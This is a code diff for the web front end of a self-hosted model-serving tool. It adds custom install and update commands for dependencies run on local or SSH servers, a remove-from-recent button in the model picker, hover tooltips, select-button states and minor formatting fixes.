if (!h || h === 'local') {
|
||||
return hostOrTask.platform || _envState.platform || (isWinBrowser ? 'windows' : '');
|
||||
return hostOrTask.platform || localPlatform();
|
||||
}
|
||||
return hostOrTask.platform || _getPlatform(h);
|
||||
}
|
||||
@@ -581,7 +595,7 @@ function _fallbackCopy(text) {
|
||||
ta.style.cssText = 'position:fixed;left:-9999px;top:-9999px';
|
||||
document.body.appendChild(ta);
|
||||
ta.select();
|
||||
try { document.execCommand('copy'); } catch (_) {}
|
||||
try { document.execCommand('copy'); } catch (_) { }
|
||||
document.body.removeChild(ta);
|
||||
return Promise.resolve();
|
||||
}
|
||||
@@ -614,7 +628,7 @@ function _readStoredEnvState() {
|
||||
|
||||
export function _persistEnvState() {
|
||||
try { localStorage.setItem(LAST_STATE_KEY, JSON.stringify(_envStateForStorage())); }
|
||||
catch (_) {}
|
||||
catch (_) { }
|
||||
_saveTasks(_loadTasks());
|
||||
}
|
||||
|
||||
@@ -667,18 +681,20 @@ async function _fetchDependencies() {
|
||||
|
||||
const _statusTag = (pkg, isLocal, isSystemDep, winBlocked) => {
|
||||
if (winBlocked) return `<span class="cookbook-dep-tag cookbook-dep-na">N/A</span>`;
|
||||
if (pkg.installed && isSystemDep) return `<span class="cookbook-dep-tag cookbook-dep-installed" title="Found on selected server">Installed</span>`;
|
||||
if (pkg.installed && pkg.pip_update_available === false) {
|
||||
const hasCustomInstall = !!pkg.install_cmd;
|
||||
const hasCustomUpdate = !!pkg.update_cmd;
|
||||
if (pkg.installed && isSystemDep && !hasCustomUpdate) return `<span class="cookbook-dep-tag cookbook-dep-installed" title="Found on selected server">Installed</span>`;
|
||||
if (pkg.installed && pkg.pip_update_available === false && !hasCustomUpdate) {
|
||||
const tip = esc(pkg.update_note || pkg.status_note || 'Found externally; update outside Odysseus.');
|
||||
return `<span class="cookbook-dep-tag cookbook-dep-installed" title="${tip}">Installed</span>`;
|
||||
}
|
||||
if (pkg.installed) return `<button class="cookbook-dep-tag cookbook-dep-installed cookbook-dep-installed-btn" title="Installed — click for actions"><span class="cookbook-dep-installed-label">Installed</span><span class="cookbook-dep-caret">▾</span></button>`;
|
||||
if (isSystemDep) {
|
||||
if (isSystemDep && !hasCustomInstall) {
|
||||
const depTip = esc(pkg.install_hint || 'Install this OS package on the selected server.');
|
||||
const depLabel = pkg.applicable === false ? 'N/A ?' : 'Missing';
|
||||
return `<span class="cookbook-dep-tag cookbook-dep-na" title="${depTip}">${depLabel}</span>`;
|
||||
}
|
||||
return `<button class="cookbook-dep-tag cookbook-dep-install" data-dep-pip="${esc(pkg.pip)}" data-dep-target="${isLocal ? 'local' : 'remote'}">Install</button>`;
|
||||
return `<button class="cookbook-dep-tag cookbook-dep-install" data-dep-pip="${esc(pkg.pip || '')}" data-dep-install-cmd="${esc(pkg.install_cmd || '')}" data-dep-update-cmd="${esc(pkg.update_cmd || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}">Install</button>`;
|
||||
};
|
||||
|
||||
const _depRow = (pkg) => {
|
||||
@@ -701,7 +717,7 @@ async function _fetchDependencies() {
|
||||
} else if (pkg.name === 'sglang' && pkg.installed) {
|
||||
_rebuildBtn = `<button type="button" class="cookbook-dep-tag cookbook-dep-rebuild cookbook-dep-reinstall" data-reinstall-pkg="sglang" title="Force-reinstall SGLang (pulls a matching torch). Runs as a tmux task in the Running tab.">Reinstall</button>`;
|
||||
}
|
||||
return `<div class="cookbook-dep-row${winBlocked ? ' cookbook-dep-blocked' : ''}" data-pkg-name="${esc(pkg.name)}" data-dep-pip="${esc(pkg.pip || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}" data-dep-kind="${esc(pkg.kind || 'python')}">`
|
||||
return `<div class="cookbook-dep-row${winBlocked ? ' cookbook-dep-blocked' : ''}" data-pkg-name="${esc(pkg.name)}" data-dep-pip="${esc(pkg.pip || '')}" data-dep-install-cmd="${esc(pkg.install_cmd || '')}" data-dep-update-cmd="${esc(pkg.update_cmd || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}" data-dep-kind="${esc(pkg.kind || 'python')}">`
|
||||
+ `<div class="cookbook-dep-info">`
|
||||
+ `<div class="memory-item-title">${esc(pkg.name)}</div>`
|
||||
+ `<div class="memory-item-meta" style="font-size:10px;opacity:0.5;margin-top:2px;">${esc(pkg.desc)}</div>`
|
||||
@@ -731,7 +747,7 @@ async function _fetchDependencies() {
|
||||
// Shared install/update routine — used by the Install button and the
|
||||
// "Update" item in an installed package's ⋮ menu. `upgrade` adds pip -U;
|
||||
// `statusEl`, when given, shows "Installing…/Updating…" and is disabled.
|
||||
async function _installDep(pipName, pkgName, isLocalOnly, upgrade, statusEl) {
|
||||
async function _installDep(pipName, pkgName, isLocalOnly, upgrade, statusEl, actionCmd = '') {
|
||||
if (isLocalOnly) {
|
||||
_envState.remoteHost = '';
|
||||
_envState.env = 'none';
|
||||
@@ -776,6 +792,43 @@ async function _fetchDependencies() {
|
||||
envPrefix = 'eval "$(conda shell.bash hook)" && conda activate ' + _shellQuote(_envState.envPath);
|
||||
}
|
||||
}
|
||||
|
||||
if (actionCmd) {
|
||||
const shellCmd = envPrefix ? `${envPrefix} ${actionCmd}` : actionCmd;
|
||||
const fullCmd = (!isLocalOnly && _envState.remoteHost)
|
||||
? _sshCmd(_envState.remoteHost, shellCmd, _getPort(_envState.remoteHost))
|
||||
: shellCmd;
|
||||
try {
|
||||
if (statusEl) { statusEl.textContent = upgrade ? 'Updating...' : 'Installing...'; statusEl.disabled = true; }
|
||||
const res = await fetch('/api/shell/stream', {
|
||||
method: 'POST', credentials: 'same-origin',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ command: fullCmd }),
|
||||
});
|
||||
uiModule.showToast(`${upgrade ? 'Updating' : 'Installing'} ${pkgName} on ${targetHost}...`);
|
||||
const body = await res.text();
|
||||
if (!res.ok) throw new Error(`HTTP ${res.status}`);
|
||||
const exitMatches = [...body.matchAll(/"exit_code":\s*(-?\d+)/g)].map(m => Number(m[1]));
|
||||
const exitCode = exitMatches.length ? exitMatches[exitMatches.length - 1] : 0;
|
||||
if (exitCode !== 0) {
|
||||
throw new Error((body.slice(-500).trim() || `${pkgName} command failed`) + ` (exit ${exitCode})`);
|
||||
}
|
||||
|
||||
if (upgrade) { uiModule.showToast(`Successfully updated ${pkgName} on ${targetHost}.`); } else { uiModule.showToast(`Successfully installed ${pkgName} on ${targetHost}.`); }
|
||||
await _fetchDependencies();
|
||||
return;
|
||||
} catch (err) {
|
||||
if (statusEl) { statusEl.textContent = 'Install'; statusEl.disabled = false; }
|
||||
uiModule.showToast(`${upgrade ? 'Update' : 'Install'} failed: ` + err.message);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Always go through `python -m pip` so the leading token is `python`
|
||||
// — matches the /api/model/serve allow-list (bare `pip` is blocked).
|
||||
// Inside a venv/conda env, `--user` is invalid (pip refuses), so we
|
||||
// only add `--user --break-system-packages` when there's no env —
|
||||
// for PEP-668-locked system pythons (Arch, newer Debian).
|
||||
try {
|
||||
const reqBody = {
|
||||
repo_id: pipName,
|
||||
@@ -814,8 +867,9 @@ async function _fetchDependencies() {
|
||||
btn.addEventListener('click', async (e) => {
|
||||
e.stopPropagation();
|
||||
const pipName = btn.dataset.depPip;
|
||||
const installCmd = btn.dataset.depInstallCmd || '';
|
||||
const pkgName = btn.closest('.cookbook-dep-row')?.querySelector('.memory-item-title')?.textContent || pipName;
|
||||
await _installDep(pipName, pkgName, btn.dataset.depTarget === 'local', !!btn.dataset.upgrade, btn);
|
||||
await _installDep(pipName, pkgName, btn.dataset.depTarget === 'local', !!btn.dataset.upgrade, btn, installCmd);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -838,11 +892,12 @@ async function _fetchDependencies() {
|
||||
const it = document.createElement('div');
|
||||
it.className = 'dropdown-item-compact';
|
||||
it.innerHTML = `<span class="dropdown-icon">${upIco}</span><span>Update</span>`;
|
||||
it.title = `Update ${pkgName} to the latest version (pip install -U)`;
|
||||
it.title = row.dataset.depUpdateCmd ? `Update ${pkgName} using its custom command` : `Update ${pkgName} to the latest version (pip install -U)`;
|
||||
it.addEventListener('click', async (e) => {
|
||||
e.stopPropagation();
|
||||
dropdown.remove();
|
||||
await _installDep(pipName, pkgName, isLocalOnly, true, null);
|
||||
const updateCmd = row.dataset.depUpdateCmd || '';
|
||||
await _installDep(pipName, pkgName, isLocalOnly, true, null, updateCmd);
|
||||
});
|
||||
dropdown.appendChild(it);
|
||||
document.body.appendChild(dropdown);
|
||||
@@ -940,7 +995,7 @@ function _wireTabEvents(body) {
|
||||
// Ignore swipes that start in a horizontally-scrollable tag row — those
|
||||
// should scroll the chips, not flip the tab.
|
||||
if (window.innerWidth > 768 || e.touches.length !== 1
|
||||
|| e.target.closest('input, textarea, select, .doclib-lang-chips')) { _sx = null; return; }
|
||||
|| e.target.closest('input, textarea, select, .doclib-lang-chips')) { _sx = null; return; }
|
||||
_sx = e.touches[0].clientX; _sy = e.touches[0].clientY;
|
||||
}, { passive: true });
|
||||
body.addEventListener('touchend', (e) => {
|
||||
@@ -1339,7 +1394,7 @@ function _wireTabEvents(body) {
|
||||
// the section is collapsed (the body's content normally provides
|
||||
// separation; with no body visible, the line gives the h2 definition).
|
||||
dlFold.classList.toggle('is-folded', !folded);
|
||||
try { localStorage.setItem('cookbook_dl_tab_folded_v1', folded ? '0' : '1'); } catch {}
|
||||
try { localStorage.setItem('cookbook_dl_tab_folded_v1', folded ? '0' : '1'); } catch { }
|
||||
});
|
||||
}
|
||||
const hfToggle = document.getElementById('cookbook-hf-latest-toggle');
|
||||
@@ -1385,7 +1440,7 @@ function _wireTabEvents(body) {
|
||||
_hwCache[cacheKey] = hw;
|
||||
return hw;
|
||||
}
|
||||
} catch {}
|
||||
} catch { }
|
||||
_hwCache[cacheKey] = { vram: 0, backend: '' };
|
||||
return _hwCache[cacheKey];
|
||||
}
|
||||
@@ -1510,7 +1565,7 @@ function _wireTabEvents(body) {
|
||||
hfInput.addEventListener('change', async () => {
|
||||
const val = hfInput.value.trim();
|
||||
_envState.hfToken = val;
|
||||
try { await _persistEnvState(); } catch {}
|
||||
try { await _persistEnvState(); } catch { }
|
||||
if (val) {
|
||||
_envState.hfTokenConfigured = true;
|
||||
const masked = val.length > 6 ? val.slice(0, 3) + '…' + val.slice(-3) : '••••';
|
||||
@@ -1710,7 +1765,7 @@ function _renderRecipes() {
|
||||
html += '<option value="general" selected>Standard</option><option value="coding">Coding</option>';
|
||||
html += '<option value="reasoning">Reasoning</option><option value="chat">Chat</option>';
|
||||
// Image tab removed — text→image gen is gone from this build (only inpaint
|
||||
// remains, which uses its own settings panel). Vision (multimodal) stays.
|
||||
// remains, which uses its own settings panel). Vision (multimodal) stays.
|
||||
html += '<option value="multimodal">Vision</option></select>';
|
||||
// Engine sits next to the type filter so the "what category / which serving
|
||||
// path" filters live together; Quant + Context are storage-format and budget
|
||||
@@ -1776,12 +1831,12 @@ function _renderRecipes() {
|
||||
// to the curated model list. Sits below the list so it reads as a callout
|
||||
// after browsing, not a header.
|
||||
html += '<div class="hwfit-list-footer" style="margin-top:8px;padding-top:6px;border-top:1px solid color-mix(in srgb, var(--border) 50%, transparent);font-size:9.5px;opacity:0.65;text-align:right;">'
|
||||
+ 'Don\'t see a model? '
|
||||
+ '<a href="https://github.com/pewdiepie-archdaemon/odysseus/discussions/1962" target="_blank" rel="noopener" style="color:var(--accent,var(--red));text-decoration:none;display:inline-flex;align-items:center;gap:4px;vertical-align:middle;">'
|
||||
+ 'Request it →'
|
||||
+ '<svg width="11" height="11" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true" style="flex-shrink:0;"><path d="M8 0C3.58 0 0 3.58 0 8a8 8 0 0 0 5.47 7.59c.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>'
|
||||
+ '</a>'
|
||||
+ '</div>';
|
||||
+ 'Don\'t see a model? '
|
||||
+ '<a href="https://github.com/pewdiepie-archdaemon/odysseus/discussions/1962" target="_blank" rel="noopener" style="color:var(--accent,var(--red));text-decoration:none;display:inline-flex;align-items:center;gap:4px;vertical-align:middle;">'
|
||||
+ 'Request it →'
|
||||
+ '<svg width="11" height="11" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true" style="flex-shrink:0;"><path d="M8 0C3.58 0 0 3.58 0 8a8 8 0 0 0 5.47 7.59c.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>'
|
||||
+ '</a>'
|
||||
+ '</div>';
|
||||
|
||||
html += '</div></div>';
|
||||
|
||||
@@ -1869,7 +1924,7 @@ function _renderRecipes() {
|
||||
html += '<div style="display:flex;align-items:baseline;gap:8px;margin-bottom:2px;margin-top:-4px;">';
|
||||
html += '<h2 style="margin:0;padding:0;line-height:1;">Servers</h2>';
|
||||
// Reuse the calendar +New pill: spinning plus, label fades in idea uses
|
||||
// the same `.cal-add-btn-text` rules, so styling stays consistent.
|
||||
// the same `.cal-add-btn-text` rules, so styling stays consistent.
|
||||
html += '<button class="cal-add-btn cal-add-btn-text" id="cookbook-server-add" title="Add server" style="margin-left:auto;"><span class="cal-add-plus">+</span><span class="cal-add-label">Add</span></button>';
|
||||
html += '</div>';
|
||||
html += '<p class="memory-desc doclib-desc">Configure SSH servers, install Odysseus keys, choose model directories, and set the default server. Local is this machine.</p>';
|
||||
@@ -1965,73 +2020,73 @@ export async function open(opts) {
|
||||
}
|
||||
_setCookbookOpening(true);
|
||||
try {
|
||||
// Invalidate any pending close() animation handlers so they won't re-hide us
|
||||
_closeGen++;
|
||||
// Clear any leftover inline styles from a previous swipe-dismiss or close animation
|
||||
const _content = modal.querySelector('.modal-content');
|
||||
if (_content) {
|
||||
_content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering');
|
||||
_content.style.transform = '';
|
||||
_content.style.transition = '';
|
||||
_content.style.animation = '';
|
||||
_content.style.opacity = '';
|
||||
}
|
||||
modal.style.display = '';
|
||||
Modals.register('cookbook-modal', {
|
||||
railBtnId: 'rail-cookbook',
|
||||
sidebarBtnId: 'tool-cookbook-btn',
|
||||
closeFn: () => _doClose(),
|
||||
restoreFn: () => { _renderRunningTab(); },
|
||||
});
|
||||
_wireCookbookDrag(modal);
|
||||
await _syncFromServer();
|
||||
// `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState
|
||||
// (a different object reference than this module's), then mirrors the merged
|
||||
// state to localStorage. So ALWAYS hydrate our _envState from that mirror —
|
||||
// on a successful sync it holds the freshly-fetched servers; on failure it
|
||||
// holds the last-known state. Gating this on `!synced` left the render's
|
||||
// _envState empty whenever sync succeeded → "servers don't show".
|
||||
try { Object.assign(_envState, _readStoredEnvState()); } catch {}
|
||||
// Honour a user-set default server: always land on it when Cookbook opens, so
|
||||
// every dropdown (scan/download/serve/cache/deps) starts on the same machine.
|
||||
if (_envState.defaultServer) {
|
||||
const _dk = _envState.defaultServer;
|
||||
if (_dk === 'local') {
|
||||
_envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = '';
|
||||
} else {
|
||||
const _ds = (_envState.servers || []).find(s => s.host === _dk);
|
||||
if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; }
|
||||
// Invalidate any pending close() animation handlers so they won't re-hide us
|
||||
_closeGen++;
|
||||
// Clear any leftover inline styles from a previous swipe-dismiss or close animation
|
||||
const _content = modal.querySelector('.modal-content');
|
||||
if (_content) {
|
||||
_content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering');
|
||||
_content.style.transform = '';
|
||||
_content.style.transition = '';
|
||||
_content.style.animation = '';
|
||||
_content.style.opacity = '';
|
||||
}
|
||||
}
|
||||
// Re-render on every open AFTER sync so the freshly-fetched state (servers,
|
||||
// HF token, presets) is always reflected. Gating this to once-per-page used
|
||||
// to freeze a stale/empty servers list whenever the first sync raced or
|
||||
// returned before hydration — and since close/reopen doesn't reset the page,
|
||||
// only a full reload recovered it. Re-rendering is cheap and the in-progress
|
||||
// Running tab is rendered separately just below.
|
||||
_renderRecipes();
|
||||
_rendered = true;
|
||||
_clearCookbookNotif();
|
||||
_renderRunningTab();
|
||||
// Self-heal: revive any download tasks whose tmux session is still alive
|
||||
// but were persisted as done/error (covers the "restarted server while a
|
||||
// big multi-shard download was in flight" case — the task survived in
|
||||
// tmux, the cookbook just lost track of it).
|
||||
try { _selfHealStaleTasks({ oneShot: true }); } catch {}
|
||||
if (_content) {
|
||||
// Put the panel in its entering state before it becomes visible. On
|
||||
// mobile, showing first and adding the class a frame later can paint the
|
||||
// sheet at its final position, which makes the slide-up look like a snap.
|
||||
_content.classList.add('cookbook-modal-entering');
|
||||
}
|
||||
modal.classList.remove('hidden');
|
||||
if (_content) {
|
||||
void _content.offsetWidth;
|
||||
_content.addEventListener('animationend', () => {
|
||||
_content.classList.remove('cookbook-modal-entering');
|
||||
}, { once: true });
|
||||
}
|
||||
setTimeout(_applyIntent, 0);
|
||||
modal.style.display = '';
|
||||
Modals.register('cookbook-modal', {
|
||||
railBtnId: 'rail-cookbook',
|
||||
sidebarBtnId: 'tool-cookbook-btn',
|
||||
closeFn: () => _doClose(),
|
||||
restoreFn: () => { _renderRunningTab(); },
|
||||
});
|
||||
_wireCookbookDrag(modal);
|
||||
await _syncFromServer();
|
||||
// `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState
|
||||
// (a different object reference than this module's), then mirrors the merged
|
||||
// state to localStorage. So ALWAYS hydrate our _envState from that mirror —
|
||||
// on a successful sync it holds the freshly-fetched servers; on failure it
|
||||
// holds the last-known state. Gating this on `!synced` left the render's
|
||||
// _envState empty whenever sync succeeded → "servers don't show".
|
||||
try { Object.assign(_envState, _readStoredEnvState()); } catch { }
|
||||
// Honour a user-set default server: always land on it when Cookbook opens, so
|
||||
// every dropdown (scan/download/serve/cache/deps) starts on the same machine.
|
||||
if (_envState.defaultServer) {
|
||||
const _dk = _envState.defaultServer;
|
||||
if (_dk === 'local') {
|
||||
_envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = '';
|
||||
} else {
|
||||
const _ds = (_envState.servers || []).find(s => s.host === _dk);
|
||||
if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; }
|
||||
}
|
||||
}
|
||||
// Re-render on every open AFTER sync so the freshly-fetched state (servers,
|
||||
// HF token, presets) is always reflected. Gating this to once-per-page used
|
||||
// to freeze a stale/empty servers list whenever the first sync raced or
|
||||
// returned before hydration — and since close/reopen doesn't reset the page,
|
||||
// only a full reload recovered it. Re-rendering is cheap and the in-progress
|
||||
// Running tab is rendered separately just below.
|
||||
_renderRecipes();
|
||||
_rendered = true;
|
||||
_clearCookbookNotif();
|
||||
_renderRunningTab();
|
||||
// Self-heal: revive any download tasks whose tmux session is still alive
|
||||
// but were persisted as done/error (covers the "restarted server while a
|
||||
// big multi-shard download was in flight" case — the task survived in
|
||||
// tmux, the cookbook just lost track of it).
|
||||
try { _selfHealStaleTasks({ oneShot: true }); } catch { }
|
||||
if (_content) {
|
||||
// Put the panel in its entering state before it becomes visible. On
|
||||
// mobile, showing first and adding the class a frame later can paint the
|
||||
// sheet at its final position, which makes the slide-up look like a snap.
|
||||
_content.classList.add('cookbook-modal-entering');
|
||||
}
|
||||
modal.classList.remove('hidden');
|
||||
if (_content) {
|
||||
void _content.offsetWidth;
|
||||
_content.addEventListener('animationend', () => {
|
||||
_content.classList.remove('cookbook-modal-entering');
|
||||
}, { once: true });
|
||||
}
|
||||
setTimeout(_applyIntent, 0);
|
||||
} finally {
|
||||
_setCookbookOpening(false);
|
||||
}
|
||||
|
||||
@@ -608,6 +608,9 @@ export function renderMemoryList() {
|
||||
memoryList.innerHTML = '';
|
||||
|
||||
if (filtered.length === 0) {
|
||||
const selectBtn = document.getElementById('memory-select-btn');
|
||||
if (selectBtn) selectBtn.disabled = true;
|
||||
if (selectMode) exitSelectMode();
|
||||
const searchTerm = document.getElementById('memory-search')?.value?.trim() || '';
|
||||
const _smiley = '<span style="vertical-align:-3px;margin-left:6px;">' + uiModule.emptyStateIcon('smiley') + '</span>';
|
||||
if (searchTerm || activeCategory !== 'all') {
|
||||
@@ -627,6 +630,9 @@ export function renderMemoryList() {
|
||||
return;
|
||||
}
|
||||
|
||||
const selectBtn = document.getElementById('memory-select-btn');
|
||||
if (selectBtn) selectBtn.disabled = false;
|
||||
|
||||
filtered.forEach(memory => {
|
||||
const item = document.createElement('div');
|
||||
item.className = 'memory-item';
|
||||
|
||||
@@ -35,6 +35,11 @@ function _pushRecent(mid) {
|
||||
next.unshift(mid);
|
||||
_saveList(RECENT_KEY, next.slice(0, RECENT_MAX));
|
||||
}
|
||||
function _removeRecent(mid) {
|
||||
if (!mid) return;
|
||||
const next = _loadRecent().filter(x => x !== mid);
|
||||
_saveList(RECENT_KEY, next);
|
||||
}
|
||||
function _loadFavorites() { return _loadList(FAVORITES_KEY); }
|
||||
function _toggleFavorite(mid) {
|
||||
const favs = _loadFavorites();
|
||||
@@ -304,7 +309,7 @@ function _initModelPickerDropdown() {
|
||||
empty.textContent = text;
|
||||
listEl.appendChild(empty);
|
||||
}
|
||||
function _addRow(m) {
|
||||
function _addRow(m, onRemove) {
|
||||
const row = document.createElement('div');
|
||||
row.className = 'model-switch-item';
|
||||
if (m.stale) {
|
||||
@@ -323,6 +328,9 @@ function _initModelPickerDropdown() {
|
||||
const nameSpan = document.createElement('span');
|
||||
nameSpan.className = 'mp-model-name';
|
||||
nameSpan.textContent = m.display;
|
||||
// Long model names are clipped with ellipsis — expose the full name on
|
||||
// hover so the suffix/variant tag is still discoverable (#1982).
|
||||
nameSpan.title = m.display;
|
||||
row.appendChild(nameSpan);
|
||||
if (m.stale) {
|
||||
const badge = document.createElement('span');
|
||||
@@ -373,6 +381,20 @@ function _initModelPickerDropdown() {
|
||||
});
|
||||
row.appendChild(favDot);
|
||||
|
||||
// Remove-from-recent button (shown only for Recent section items).
|
||||
if (onRemove) {
|
||||
const rmBtn = document.createElement('button');
|
||||
rmBtn.type = 'button';
|
||||
rmBtn.className = 'mp-remove-dot';
|
||||
rmBtn.textContent = '×';
|
||||
rmBtn.title = 'Remove from recent';
|
||||
rmBtn.addEventListener('click', (e) => {
|
||||
e.stopPropagation();
|
||||
onRemove();
|
||||
});
|
||||
row.appendChild(rmBtn);
|
||||
}
|
||||
|
||||
row.addEventListener('click', () => _pick(m));
|
||||
listEl.appendChild(row);
|
||||
}
|
||||
@@ -389,8 +411,7 @@ function _initModelPickerDropdown() {
|
||||
return;
|
||||
}
|
||||
|
||||
// ── Browse mode: Favorites (manual) + Recent (auto), with dedupe. ──
|
||||
// Rules:
|
||||
// ── Browse mode: sections in order: Favorites → Recent (big catalogs only) → All / Providers ──
|
||||
// 1. Never list the same model twice in the dropdown. Favorites
|
||||
// win over Recent (if you favorited it, that's where it
|
||||
// belongs — Recent shouldn't show it again as duplicate).
|
||||
@@ -415,7 +436,13 @@ function _initModelPickerDropdown() {
|
||||
.slice(0, RECENT_MAX);
|
||||
if (recentModels.length) {
|
||||
_addSection('Recent');
|
||||
recentModels.forEach(m => { shown.add(m.mid); _addRow(m); });
|
||||
recentModels.forEach(m => {
|
||||
shown.add(m.mid);
|
||||
_addRow(m, () => {
|
||||
_removeRecent(m.mid);
|
||||
_populate('');
|
||||
});
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -711,6 +738,9 @@ export function updateModelPicker() {
|
||||
}
|
||||
|
||||
const displayName = modelId ? modelId.split('/').pop() : 'Select model';
|
||||
// The header indicator clips long names with ellipsis; show the full model
|
||||
// identifier on hover (#1982). No tooltip on the "Select model" placeholder.
|
||||
label.title = modelId || '';
|
||||
const logo = modelId ? providerLogo(modelId) : null;
|
||||
if (logo) {
|
||||
label.innerHTML = '<span class="model-picker-logo">' + logo + '</span> ' + displayName;
|
||||
|
||||
@@ -11,6 +11,10 @@ const _PROVIDERS = [
|
||||
[/openai|gpt-|^o[13]-|chatgpt|dall-e/i,
|
||||
'<svg viewBox="0 0 24 24" fill="currentColor"><path d="M22.282 9.821a5.985 5.985 0 0 0-.516-4.91 6.046 6.046 0 0 0-6.51-2.9A6.065 6.065 0 0 0 10.696.453a6.023 6.023 0 0 0-5.75 4.172 6.061 6.061 0 0 0-3.946 2.945 6.024 6.024 0 0 0 .742 7.099 5.98 5.98 0 0 0 .516 4.911 6.046 6.046 0 0 0 6.51 2.9A5.996 5.996 0 0 0 13.26 23.547a6.023 6.023 0 0 0 5.75-4.172 6.061 6.061 0 0 0 3.946-2.945 6.024 6.024 0 0 0-.674-6.609zM13.26 21.047a4.508 4.508 0 0 1-2.886-1.041l.143-.082 4.793-2.769a.777.777 0 0 0 .391-.676V10.34l2.026 1.17a.072.072 0 0 1 .039.061v5.596a4.532 4.532 0 0 1-4.506 4.48zM3.968 17.64a4.473 4.473 0 0 1-.537-3.018l.143.086 4.793 2.769a.79.79 0 0 0 .782 0l5.852-3.379v2.34a.072.072 0 0 1-.029.062l-4.845 2.796a4.532 4.532 0 0 1-6.159-1.656zM2.804 7.922a4.49 4.49 0 0 1 2.348-1.973V11.6a.778.778 0 0 0 .391.676l5.852 3.378-2.026 1.17a.072.072 0 0 1-.068 0L4.456 14.03a4.532 4.532 0 0 1-1.652-6.108zm16.423 3.823L13.375 8.367l2.026-1.17a.072.072 0 0 1 .068 0l4.845 2.796a4.525 4.525 0 0 1-.7 8.08V12.42a.778.778 0 0 0-.387-.676zm2.015-3.025l-.143-.086-4.793-2.769a.79.79 0 0 0-.782 0L9.672 9.243V6.903a.072.072 0 0 1 .029-.062l4.845-2.796a4.525 4.525 0 0 1 6.696 4.675zM8.598 12.66L6.57 11.49a.072.072 0 0 1-.039-.061V5.833a4.525 4.525 0 0 1 7.413-3.48l-.143.082-4.793 2.769a.777.777 0 0 0-.391.676l-.019 6.78zm1.1-2.379l2.607-1.505 2.607 1.505v3.01l-2.607 1.505-2.607-1.505z"/></svg>'],
|
||||
|
||||
// OpenCode (Zen / Go) — official brand mark
|
||||
[/opencode/i,
|
||||
'<svg viewBox="0 0 24 30" fill="currentColor"><path d="M18 6H6V24H18V6ZM24 30H0V0H24V30Z"/></svg>'],
|
||||
|
||||
// OpenRouter
|
||||
[/openrouter|open router/i,
|
||||
'<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="5" cy="12" r="2.5"/><circle cx="19" cy="6" r="2.5"/><circle cx="19" cy="18" r="2.5"/><path d="M7.5 12h4.5c2 0 2.5-6 4.5-6"/><path d="M12 12c2 0 2.5 6 4.5 6"/></svg>'],
|
||||
|
||||
@@ -5187,7 +5187,9 @@ function syncAdminVisibility() {
|
||||
export function open(tab) {
|
||||
if (!initialized) initAll();
|
||||
syncAppearanceCheckboxes();
|
||||
resetWindowPlacement();
|
||||
if (modalEl.classList.contains('hidden')) {
|
||||
resetWindowPlacement();
|
||||
}
|
||||
modalEl.classList.remove('hidden');
|
||||
syncAdminVisibility();
|
||||
const content = modalEl.querySelector('.settings-modal-content');
|
||||
|
||||
+7
-2
@@ -621,10 +621,16 @@ function renderSkillsList() {
|
||||
const showBuiltin = false;
|
||||
|
||||
if (!sorted.length && !showBuiltin) {
|
||||
const selectBtn = document.getElementById('skills-select-btn');
|
||||
if (selectBtn) selectBtn.disabled = true;
|
||||
if (_selectMode) _exitSelectMode();
|
||||
container.innerHTML = `<div style="text-align:center;opacity:0.4;padding:24px 0;font-size:11px;">${loaded ? 'No skills yet, use agent for it to auto extract them.' : 'Loading…'}</div>`;
|
||||
return;
|
||||
}
|
||||
|
||||
const selectBtn = document.getElementById('skills-select-btn');
|
||||
if (selectBtn) selectBtn.disabled = false;
|
||||
|
||||
// Library-style cards: a compact bar that expands in-place to show the
|
||||
// SKILL.md, with a footer (Delete left; Edit / Run / Approve right).
|
||||
// Reuses the proven .doclib-card / .doclib-card-preview /
|
||||
@@ -1067,9 +1073,8 @@ async function _deleteSkill(name, card = null) {
|
||||
